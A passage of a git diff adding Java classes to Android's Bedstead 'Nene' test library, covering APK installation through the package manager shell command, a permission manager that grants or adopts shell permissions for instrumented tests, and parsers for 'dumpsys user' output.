+        if (user == null || apkFile == null) {
+            throw new NullPointerException();
+        }
+
+        //        if (!Versions.isRunningOn(Versions.S, "S")) {
+        return installPreS(user, apkFile);
+//        }
+
+        // TODO(scottjonathan): Re-enable this after we have a TestAPI which allows us to install
+        //   testOnly apks
+//        BlockingBroadcastReceiver broadcastReceiver =
+//                registerPackageInstalledBroadcastReceiver(user);
+//
+//        PackageManager packageManager =
+//                mTestApis.context().androidContextAsUser(user).getPackageManager();
+//        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
+//
+//        try {
+//            int sessionId;
+//            try(PermissionContext p =
+//                        mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+//                PackageInstaller.SessionParams sessionParams =
+//                      new PackageInstaller.SessionParams(MODE_FULL_INSTALL);
+//                // TODO(scottjonathan): Enable installing test apps once there is a test
+//                //  API for this
+////                    sessionParams.installFlags =
+//                          sessionParams.installFlags | INSTALL_ALLOW_TEST;
+//                sessionId = packageInstaller.createSession(sessionParams);
+//            }
+//
+//            PackageInstaller.Session session = packageInstaller.openSession(sessionId);
+//            try (OutputStream out =
+//                         session.openWrite("NAME", 0, apkFile.length)) {
+//                out.write(apkFile);
+//                session.fsync(out);
+//            }
+//
+//            try (BlockingIntentSender intentSender = BlockingIntentSender.create()) {
+//                try (PermissionContext p =
+//                             mTestApis.permissions().withPermission(INSTALL_PACKAGES)) {
+//                    session.commit(intentSender.intentSender());
+//                    session.close();
+//                }
+//
+//                Intent intent = intentSender.await();
+//                if (intent.getIntExtra(EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
+//                        != STATUS_SUCCESS) {
+//                    throw new NeneException("Not successful while installing package. "
+//                            + "Got status: "
+//                            + intent.getIntExtra(
+//                            EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
+//                            + " exta info: " + intent.getStringExtra(EXTRA_STATUS_MESSAGE));
+//                }
+//            }
+//
+//            return waitForPackageAddedBroadcast(broadcastReceiver);
+//        } catch (IOException e) {
+//            throw new NeneException("Could not install package", e);
+//        } finally {
+//            broadcastReceiver.unregisterQuietly();
+//        }
+    }
+
+
+    private PackageReference installPreS(UserReference user, byte[] apkFile) {
+        User resolvedUser = user.resolve();
+
+        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+            throw new NeneException("Packages can not be installed in non-started users "
+                    + "(Trying to install into user " + resolvedUser + ")");
+        }
+
+        BlockingBroadcastReceiver broadcastReceiver =
+                registerPackageInstalledBroadcastReceiver(user);
+        try {
+            // Expected output "Success"
+            ShellCommand.builderForUser(user, "pm install")
+                    .addOption("-S", apkFile.length)
+                    .addOperand("-r")
+                    .addOperand("-t")
+                    .writeToStdIn(apkFile)
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+
+            return waitForPackageAddedBroadcast(broadcastReceiver);
+        } catch (AdbException e) {
+            throw new NeneException("Could not install from bytes for user " + user, e);
+        } finally {
+            broadcastReceiver.unregisterQuietly();
+        }
+    }
+
+    private BlockingBroadcastReceiver registerPackageInstalledBroadcastReceiver(
+            UserReference user) {
+        BlockingBroadcastReceiver broadcastReceiver = BlockingBroadcastReceiver.create(
+                mTestApis.context().androidContextAsUser(user),
+                mPackageAddedIntentFilter);
+
+        try (PermissionContext p =
+                    mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            broadcastReceiver.register();
+        }
+
+        return broadcastReceiver;
+    }
+
+    /**
+     * Set packages which will not be cleaned up by the system even if they are not installed on
+     * any user.
+     *
+     * <p>This will ensure they can still be resolved and re-installed without needing the APK
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    @CheckResult
+    public KeepUninstalledPackagesBuilder keepUninstalledPackages() {
+        Versions.requireS();
+
+        return new KeepUninstalledPackagesBuilder(mTestApis);
+    }
+
+    @Nullable
+    Package fetchPackage(String packageName) {
+        // TODO(scottjonathan): fillCache probably does more than we need here -
+        //  can we make it more efficient?
+        fillCache();
+
+        return mCachedPackages.get(packageName);
+    }
+
+    /**
+     * Get a reference to a package with the given {@code packageName}.
+     *
+     * <p>This does not guarantee that the package exists. Call {@link PackageReference#resolve()}
+     * to find specific details about the package on the device.
+     */
+    public PackageReference find(String packageName) {
+        if (packageName == null) {
+            throw new NullPointerException();
+        }
+        return new UnresolvedPackage(mTestApis, packageName);
+    }
+
+    private void fillCache() {
+        try {
+            // TODO: Replace use of adb on supported versions of Android
+            String packageDumpsysOutput = ShellCommand.builder("dumpsys package").execute();
+            AdbPackageParser.ParseResult result = mParser.parse(packageDumpsysOutput);
+
+            mCachedPackages = result.mPackages;
+            mFeatures = result.mFeatures;
+        } catch (AdbException | AdbParseException e) {
+            throw new RuntimeException("Error filling cache", e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
new file mode 100644
index 0000000..d314565
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import com.android.bedstead.nene.TestApis;
+
+/**
+ * Default implementation of {@link PackageReference} used when we haven't fetched information from
+ * the device.
+ */
+public final class UnresolvedPackage extends PackageReference {
+    UnresolvedPackage(TestApis testApis, String packageName) {
+        super(testApis, packageName);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContext.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContext.java
new file mode 100644
index 0000000..868068e
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContext.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.permissions;
+
+/**
+ * Collection of required permissions to be granted or denied.
+ *
+ * <p>Once the permissions are no longer required, {@link #close()} should be called.
+ *
+ * <p>It is recommended that this be used as part of a try-with-resource block
+ */
+public interface PermissionContext extends AutoCloseable {
+    @Override
+    void close();
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
new file mode 100644
index 0000000..0273f80
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.permissions;
+
+import com.android.bedstead.nene.exceptions.NeneException;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Default implementation of {@link PermissionContext}
+ */
+public final class PermissionContextImpl implements PermissionContext {
+    private final Permissions mPermissions;
+    private final Set<String> mGrantedPermissions = new HashSet<>();
+    private final Set<String> mDeniedPermissions = new HashSet<>();
+
+    PermissionContextImpl(Permissions permissions) {
+        mPermissions = permissions;
+    }
+
+    Set<String> grantedPermissions() {
+        return mGrantedPermissions;
+    }
+
+    Set<String> deniedPermissions() {
+        return mDeniedPermissions;
+    }
+
+    /**
+     * See {@link Permissions#withPermission(String...)}
+     */
+    public PermissionContextImpl withPermission(String... permissions) {
+        for (String permission : permissions) {
+            if (mDeniedPermissions.contains(permission)) {
+                throw new NeneException(
+                        permission + " cannot be required to be both granted and denied");
+            }
+        }
+
+        mGrantedPermissions.addAll(Arrays.asList(permissions));
+
+        mPermissions.applyPermissions();
+
+        return this;
+    }
+
+    /**
+     * See {@link Permissions#withoutPermission(String...)}
+     */
+    public PermissionContextImpl withoutPermission(String... permissions) {
+        for (String permission : permissions) {
+            if (mGrantedPermissions.contains(permission)) {
+                throw new NeneException(
+                        permission + " cannot be required to be both granted and denied");
+            }
+        }
+
+        mDeniedPermissions.addAll(Arrays.asList(permissions));
+
+        mPermissions.applyPermissions();
+
+        return this;
+    }
+
+    @Override
+    public void close() {
+        Permissions.sInstance.undoPermission(this);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
new file mode 100644
index 0000000..ba7c022
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.permissions;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.os.Build;
+import android.util.Log;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.Versions;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/** Permission manager for tests. */
+public class Permissions {
+
+    private static final String LOG_TAG = "Permissions";
+
+    private List<PermissionContextImpl> mPermissionContexts = new ArrayList<>();
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final PackageManager sPackageManager = sContext.getPackageManager();
+    private static final PackageReference sInstrumentedPackage =
+            sTestApis.packages().find(sContext.getPackageName());
+    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final Package sShellPackage =
+            sTestApis.packages().find("com.android.shell").resolve();
+    private static final boolean SUPPORTS_ADOPT_SHELL_PERMISSIONS =
+            Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q;
+
+    // Permissions is a singleton as permission state must be application wide
+    public static final Permissions sInstance = new Permissions();
+
+    private Set<String> mExistingPermissions;
+
+    private Permissions() {
+
+    }
+
+    /**
+     * Enter a {@link PermissionContext} where the given permissions are granted.
+     *
+     * <p>If the permissions cannot be granted, and are not already granted, an exception will be
+     * thrown.
+     *
+     * <p>Recommended usage:
+     * {@code
+     *
+     * try (PermissionContext p = mTestApis.permissions().withPermission(PERMISSION1, PERMISSION2) {
+     *     // Code which needs the permissions goes here
+     * }
+     * }
+     */
+    public PermissionContextImpl withPermission(String... permissions) {
+        if (mPermissionContexts.isEmpty()) {
+            recordExistingPermissions();
+        }
+
+        PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+        mPermissionContexts.add(permissionContext);
+
+        permissionContext.withPermission(permissions);
+
+        return permissionContext;
+    }
+
+    /**
+     * Enter a {@link PermissionContext} where the given permissions are not granted.
+     *
+     * <p>If the permissions cannot be denied, and are not already denied, an exception will be
+     * thrown.
+     *
+     * <p>Recommended usage:
+     * {@code
+     *
+     * try (PermissionContext p =
+     *         mTestApis.permissions().withoutPermission(PERMISSION1, PERMISSION2) {
+     *     // Code which needs the permissions goes here
+     * }
+     */
+    public PermissionContextImpl withoutPermission(String... permissions) {
+        if (mPermissionContexts.isEmpty()) {
+            recordExistingPermissions();
+        }
+
+        PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+        mPermissionContexts.add(permissionContext);
+
+        permissionContext.withoutPermission(permissions);
+
+        return permissionContext;
+    }
+
+    void undoPermission(PermissionContext permissionContext) {
+        mPermissionContexts.remove(permissionContext);
+        applyPermissions();
+    }
+
+    void applyPermissions() {
+        if (mPermissionContexts.isEmpty()) {
+            restoreExistingPermissions();
+            return;
+        }
+
+        Package resolvedInstrumentedPackage = sInstrumentedPackage.resolve();
+
+        if (SUPPORTS_ADOPT_SHELL_PERMISSIONS) {
+            ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
+        }
+        Set<String> grantedPermissions = new HashSet<>();
+        Set<String> deniedPermissions = new HashSet<>();
+
+        for (PermissionContextImpl permissionContext : mPermissionContexts) {
+            for (String permission : permissionContext.grantedPermissions()) {
+                grantedPermissions.add(permission);
+                deniedPermissions.remove(permission);
+            }
+
+            for (String permission : permissionContext.deniedPermissions()) {
+                grantedPermissions.remove(permission);
+                deniedPermissions.add(permission);
+            }
+        }
+
+        Log.d(LOG_TAG, "Applying permissions granting: "
+                + grantedPermissions + " denying: " + deniedPermissions);
+
+        // We first try to use shell permissions, because they can be revoked/etc. much more easily
+
+        Set<String> adoptedShellPermissions = new HashSet<>();
+
+        for (String permission : grantedPermissions) {
+            Log.d(LOG_TAG , "Trying to grant " + permission);
+            if (resolvedInstrumentedPackage.grantedPermissions(sUser).contains(permission)) {
+                // Already granted, can skip
+                Log.d(LOG_TAG, permission + " already granted");
+            } else if (SUPPORTS_ADOPT_SHELL_PERMISSIONS
+                    && sShellPackage.requestedPermissions().contains(permission)) {
+                adoptedShellPermissions.add(permission);
+                Log.d(LOG_TAG, "will adopt " + permission);
+            } else if (canGrantPermission(permission)) {
+                Log.d(LOG_TAG, "Granting " + permission);
+                sInstrumentedPackage.grantPermission(sUser, permission);
+            } else {
+                Log.d(LOG_TAG, "Can not grant " + permission);
+                removePermissionContextsUntilCanApply();
+                throw new NeneException("PermissionContext requires granting "
+                        + permission + " but cannot.");
+            }
+        }
+
+        for (String permission : deniedPermissions) {
+            Log.d(LOG_TAG , "Trying to deny " + permission);
+            if (!resolvedInstrumentedPackage.grantedPermissions(sUser).contains(permission)) {
+                // Already denied, can skip
+                Log.d(LOG_TAG, permission + " already denied");
+            } else if (SUPPORTS_ADOPT_SHELL_PERMISSIONS
+                    && !sShellPackage.requestedPermissions().contains(permission)) {
+                adoptedShellPermissions.add(permission);
+                Log.d(LOG_TAG, "will adopt " + permission);
+            } else { // We can't deny a permission to ourselves
+                Log.d(LOG_TAG, "Can not deny " + permission);
+                removePermissionContextsUntilCanApply();
+                throw new NeneException("PermissionContext requires denying "
+                        + permission + " but cannot.");
+            }
+        }
+
+        if (!adoptedShellPermissions.isEmpty()) {
+            Log.d(LOG_TAG, "Adopting " + adoptedShellPermissions);
+            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity(
+                    adoptedShellPermissions.toArray(new String[0]));
+        }
+    }
+
+    private void removePermissionContextsUntilCanApply() {
+        try {
+            mPermissionContexts.remove(mPermissionContexts.size() - 1);
+            applyPermissions();
+        } catch (NeneException e) {
+            // Suppress NeneException here as we may get a few as we pop through the stack
+        }
+    }
+
+    private boolean canGrantPermission(String permission) {
+        try {
+            PermissionInfo p = sPackageManager.getPermissionInfo(permission, /* flags= */ 0);
+            if ((p.protectionLevel & PermissionInfo.PROTECTION_FLAG_DEVELOPMENT) > 0) {
+                return true;
+            }
+            if ((p.protectionLevel & PermissionInfo.PROTECTION_DANGEROUS) > 0) {
+                return true;
+            }
+
+            return false;
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    private void recordExistingPermissions() {
+        if (!Versions.isRunningOn(Versions.S, "S")) {
+            return;
+        }
+
+        mExistingPermissions = ShellCommandUtils.uiAutomation().getAdoptedShellPermissions();
+    }
+
+    private void restoreExistingPermissions() {
+        if (!Versions.isRunningOn(Versions.S, "S")) {
+            return;
+        }
+
+        if (mExistingPermissions.isEmpty()) {
+            ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
+        } else if (mExistingPermissions == UiAutomation.ALL_PERMISSIONS) {
+            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity();
+        } else {
+            ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity(
+                    mExistingPermissions.toArray(new String[0]));
+        }
+
+        mExistingPermissions = null;
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
new file mode 100644
index 0000000..a4110ca
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.annotation.TargetApi;
+import android.os.Build;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.Map;
+
+/**
+ * Parser for the output of "adb dumpsys user".
+ */
+@TargetApi(Build.VERSION_CODES.O)
+interface AdbUserParser {
+
+    static AdbUserParser get(TestApis testApis, int sdkVersion) {
+        if (sdkVersion >= 31) {
+            return new AdbUserParser31(testApis);
+        }
+        if (sdkVersion >= 30) {
+            return new AdbUserParser30(testApis);
+        }
+        return new AdbUserParser26(testApis);
+    }
+
+    /**
+     * The result of parsing.
+     *
+     * <p>Values which are not used on the current version of Android will be {@code null}.
+     */
+    class ParseResult {
+        Map<Integer, User> mUsers;
+        @Nullable Map<String, UserType> mUserTypes;
+    }
+
+    ParseResult parse(String dumpsysUsersOutput) throws AdbParseException;
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
new file mode 100644
index 0000000..b045921
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.android.bedstead.nene.utils.ParserUtils.extractIndentedSections;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Parser for "adb dumpsys user" on Android 26+
+ *
+ * <p>Example output:
+ * {@code
+ * Users:
+ *   UserInfo{0:null:13} serialNo=0
+ *     State: RUNNING_UNLOCKED
+ *     Created: <unknown>
+ *     Last logged in: +11m34s491ms ago
+ *     Last logged in fingerprint: generic/gce_x86_phone/gce_x86:8.0.0/OPR1.170623
+ *     .041/4833325:userdebug/test-keys
+ *     Has profile owner: false
+ *     Restrictions:
+ *       none
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       null
+ *     Effective restrictions:
+ *       none
+ *   UserInfo{10:managedprofileuser:20} serialNo=10
+ *     State: -1
+ *     Created: +1s901ms ago
+ *     Last logged in: <unknown>
+ *     Last logged in fingerprint: generic/gce_x86_phone/gce_x86:8.0.0/OPR1.170623
+ *     .041/4833325:userdebug/test-keys
+ *     Has profile owner: false
+ *     Restrictions:
+ *       none
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       null
+ *     Effective restrictions:
+ *       none
+ *
+ *   Device owner id:-10000
+ *
+ *   Guest restrictions:
+ *     no_sms
+ *     no_install_unknown_sources
+ *     no_config_wifi
+ *     no_outgoing_calls
+ *
+ *   Device managed: false
+ *   Started users state: {0=3}
+ *
+ *   Max users: 4
+ *   Supports switchable users: false
+ *   All guests ephemeral: false
+ * @}
+ *
+ * <p>This class is structured so that future changes in ADB output can be dealt with by
+ *  extending this class and overriding the appropriate section parsers.
+ */
+@RequiresApi(Build.VERSION_CODES.O)
+public class AdbUserParser26 implements AdbUserParser {
+    static final int USER_LIST_BASE_INDENTATION = 2;
+
+    final TestApis mTestApis;
+
+    AdbUserParser26(TestApis testApis) {
+        if (testApis == null) {
+            throw new NullPointerException();
+        }
+        mTestApis = testApis;
+    }
+
+    @Override
+    public ParseResult parse(String dumpsysUsersOutput) throws AdbParseException {
+        ParseResult parseResult = new ParseResult();
+        parseResult.mUsers = parseUsers(dumpsysUsersOutput);
+        return parseResult;
+    }
+
+    Map<Integer, User> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
+        String usersList = extractUsersList(dumpsysUsersOutput);
+        Set<String> userStrings = extractUserStrings(usersList);
+        Map<Integer, User> users = new HashMap<>();
+        for (String userString : userStrings) {
+            User user = new User(mTestApis, parseUser(userString));
+            users.put(user.id(), user);
+        }
+        return users;
+    }
+
+    String extractUsersList(String dumpsysUsersOutput) throws AdbParseException {
+        try {
+            return dumpsysUsersOutput.split("Users:\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting user list", dumpsysUsersOutput, e);
+        }
+    }
+
+    Set<String> extractUserStrings(String usersList) throws AdbParseException {
+        return extractIndentedSections(usersList, USER_LIST_BASE_INDENTATION);
+    }
+
+    User.MutableUser parseUser(String userString) throws AdbParseException {
+        try {
+            String userInfo[] = userString.split("UserInfo\\{", 2)[1].split("\\}", 2)[0].split(":");
+            User.MutableUser user = new User.MutableUser();
+            user.mName = userInfo[1];
+            user.mFlags = Integer.parseInt(userInfo[2], 16);
+            user.mId = Integer.parseInt(userInfo[0]);
+            user.mSerialNo = Integer.parseInt(
+                    userString.split("serialNo=", 2)[1].split("[ \n]", 2)[0]);
+            user.mHasProfileOwner =
+                    Boolean.parseBoolean(
+                            userString.split("Has profile owner: ", 2)[1].split("\n", 2)[0]);
+            user.mState =
+                    User.UserState.fromDumpSysValue(
+                            userString.split("State: ", 2)[1].split("\n", 2)[0]);
+            user.mIsRemoving = userString.contains("<removing>");
+            return user;
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error parsing user", userString, e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
new file mode 100644
index 0000000..64fe4f1
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
@@ -0,0 +1,341 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.android.bedstead.nene.utils.ParserUtils.extractIndentedSections;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Parser for "adb dumpsys user" on Android 30+
+ *
+ * <p>Example output:
+ * {@code
+ * Current user: 0
+ * Users:
+ *   UserInfo{0:null:c13} serialNo=0 isPrimary=true
+ *     Type: android.os.usertype.full.SYSTEM
+ *     Flags: 3091 (ADMIN|FULL|INITIALIZED|PRIMARY|SYSTEM)
+ *     State: RUNNING_UNLOCKED
+ *     Created: <unknown>
+ *     Last logged in: +10m10s675ms ago
+ *     Last logged in fingerprint: generic/cf_x86_phone/vsoc_x86:11/RP1A.201005.004
+ *     .A1/6934943:userdebug/dev-keys
+ *     Start time: +12m26s184ms ago
+ *     Unlock time: +12m7s388ms ago
+ *     Has profile owner: false
+ *     Restrictions:
+ *       none
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       none
+ *     Effective restrictions:
+ *       none
+ *   UserInfo{10:managedprofileuser:1020} serialNo=10 isPrimary=false
+ *     Type: android.os.usertype.profile.MANAGED
+ *     Flags: 4128 (MANAGED_PROFILE|PROFILE)
+ *     State: -1
+ *     Created: +2s690ms ago
+ *     Last logged in: <unknown>
+ *     Last logged in fingerprint: generic/cf_x86_phone/vsoc_x86:11/RP1A.201005.004
+ *     .A1/6934943:userdebug/dev-keys
+ *     Start time: <unknown>
+ *     Unlock time: <unknown>
+ *     Has profile owner: false
+ *     Restrictions:
+ *       null
+ *     Device policy global restrictions:
+ *       null
+ *     Device policy local restrictions:
+ *       none
+ *     Effective restrictions:
+ *       null
+ *
+ *   Device owner id:-10000
+ *
+ *   Guest restrictions:
+ *     no_sms
+ *     no_install_unknown_sources
+ *     no_config_wifi
+ *     no_outgoing_calls
+ *
+ *   Device managed: false
+ *   Started users state: {0=3}
+ *
+ *   Max users: 4 (limit reached: false)
+ *   Supports switchable users: false
+ *   All guests ephemeral: false
+ *   Force ephemeral users: false
+ *   Is split-system user: false
+ *   Is headless-system mode: false
+ *   User version: 9
+ *
+ *   User types (7 types):
+ *     android.os.usertype.full.GUEST:
+ *         mName: android.os.usertype.full.GUEST
+ *         mBaseType: FULL
+ *         mEnabled: true
+ *         mMaxAllowed: 1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: GUEST
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             no_sms
+ *             no_install_unknown_sources
+ *             no_config_wifi
+ *             no_outgoing_calls
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.profile.MANAGED:
+ *         mName: android.os.usertype.profile.MANAGED
+ *         mBaseType: PROFILE
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: 1
+ *         mDefaultUserInfoFlags: MANAGED_PROFILE
+ *         mLabel: 0
+ *         mDefaultRestrictions:
+ *             null
+ *         mIconBadge: 17302387
+ *         mBadgePlain: 17302382
+ *         mBadgeNoBackground: 17302384
+ *         mBadgeLabels.length: 3
+ *         mBadgeColors.length: 3
+ *         mDarkThemeBadgeColors.length: 3
+ *     android.os.usertype.system.HEADLESS:
+ *         mName: android.os.usertype.system.HEADLESS
+ *         mBaseType: SYSTEM
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: 0
+ *         mLabel: 0
+ *         config_defaultFirstUserRestrictions:
+ *             none
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
+ *         mDarkThemeBadgeColors.length: 0(null)
+ *     android.os.usertype.full.SYSTEM:
+ *         mName: android.os.usertype.full.SYSTEM
+ *         mBaseType: FULL|SYSTEM
+ *         mEnabled: true
+ *         mMaxAllowed: -1
+ *         mMaxAllowedPerParent: -1
+ *         mDefaultUserInfoFlags: 0
+ *         mLabel: 0
+ *         config_defaultFirstUserRestrictions:
+ *             none
+ *         mIconBadge: 0
+ *         mBadgePlain: 0
+ *         mBadgeNoBackground: 0
+ *         mBadgeLabels.length: 0(null)
+ *         mBadgeColors.length: 0(null)
